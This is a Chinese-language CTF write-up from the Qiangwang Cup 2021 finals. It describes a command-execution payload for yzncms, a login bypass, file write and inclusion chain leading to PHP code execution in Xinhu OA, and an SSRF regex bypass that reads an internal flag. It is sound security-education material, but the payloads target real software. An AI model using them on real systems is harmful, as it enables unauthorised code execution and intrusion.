强网杯2021final

2022-08-10 16:26:00 浏览数 (1)

强网杯2021final

2021-07-13 22:07:00
ctf - qwb

mDMZ

yzncms,之前沉迷挖cnvd的时候挖过这个cms,基于tp开发的,所以直接就往控制器里面看了,最后在collection/Node/parseFunction处找到了一个call_user_func_array,如图:

因为args是从varArray中取到的,按着tp的这种调用模式match跟content都是可控的,那么接下来就直接任意代码执行了:

然后就是执行命令:match=system&content=ls

OA

一个信呼的oa,搜一下能找到这一篇:

https://www.cnblogs.com/p00mj/p/11797819.html

个人觉得审计php写的框架首先的话是需要看懂框架中对于函数的调用方式,项目中webmain类似于tp应用中的app/application,因此着重看这里面的代码,然后就是看函数的调用方式,如文章中提到的登陆验证绕过的路径:

代码语言:javascript复制
?m=mode&d=task&a=init&adminid=0&token=11

对应于调用到webmain/task/mode/modeAction.php中的initAction函数,而需要了解到action.php中还有一些函数以Ajax结尾,如xxxAjax,调用他们的方式类似的,只需加上一个参数ajaxbool=true

在webmain/main/flow/flowAction.php中找到了如下:

代码语言:javascript复制
    public function pagesaveAjax()
    {
        $content = $this->post('content');
        $num     = $this->post('num');
        $path    = ''.P.'/flow/page/input_'.$num.'.html';
        if(COMPANYNUM)$path      = ''.P.'/flow/page/input_'.$num.'_'.COMPANYNUM.'.html';
        $bo      = $this->rock->createtxt($path, $content);
        if(!$bo){
            echo '无法写入文件:'.$path.'';
        }else{
            echo 'success';
        }
    }

可以写任意html,如:

代码语言:javascript复制
http://localhost:9987/index.php?a=pagesave&m=flow&d=main&ajaxbool=true
post:
content=<?php system("ls");?>&num=a

会写到webmain/flow/page/input_a.html文件中,内容当然是content的值,接下来需要找一处文件包含的洞,在输错要调用的函数会发现:

代码语言:javascript复制
index.php?a=c&m=b&d=a
//actionfile not exists;tpl_b_c.html not exists;

为了验证此处是否可进行文件包含,我写入了一个/../tpl_b_c,此时在page目录下新增了一个tpl_b_c.html,接下来是尝试去调用他,发现拼接后的路径是:

代码语言:javascript复制
/var/www/html/webmain/flow/b/

那么也简单,写入一个num=/../tpl_page_c,调用时则:

代码语言:javascript复制
/index.php?a=c&m=page&d=flow

成功包含到了html文件,修改content执行任意代码。

rua

题目给了一个p.php跟一个file.php,p页面给的是phpinfo,file页面是一个file_get_contents参数可控的页面,直接访问/flag给出了一个docker,本地部署一下后可以获取到一些信息,如web,nginx的配置路径等。

因为flag不在本机上,因此先用file.php来扫描内网,扫到了172.19.0.3中存在了另一个file_get_contents,虽然参数可控但是需要发送post包,在/etc/nginx/conf.d/default.conf路径下找到了nginx的配置,其中给了一个/api,内容如下

用到它可以发送一个post包,但关键是如何绕过此处正则,根据配置文件的描述,假若我们传入:

代码语言:javascript复制
api?url=http://www.baidu.com/

得到的domain是为www.baidu.com,那么比较有趣的点就是这个正则用的是S,那么剩下的一个字符就是空格了,那么将空格放到其内即可绕过这一个正则:

payload:

代码语言:javascript复制
http://172.19.0.3:80 /index.php?//r3kapig.com/aaaa
post:
good_you_got_it_XD=/flag

本文原创于HhhM的博客,转载请标明出处。

0 人点赞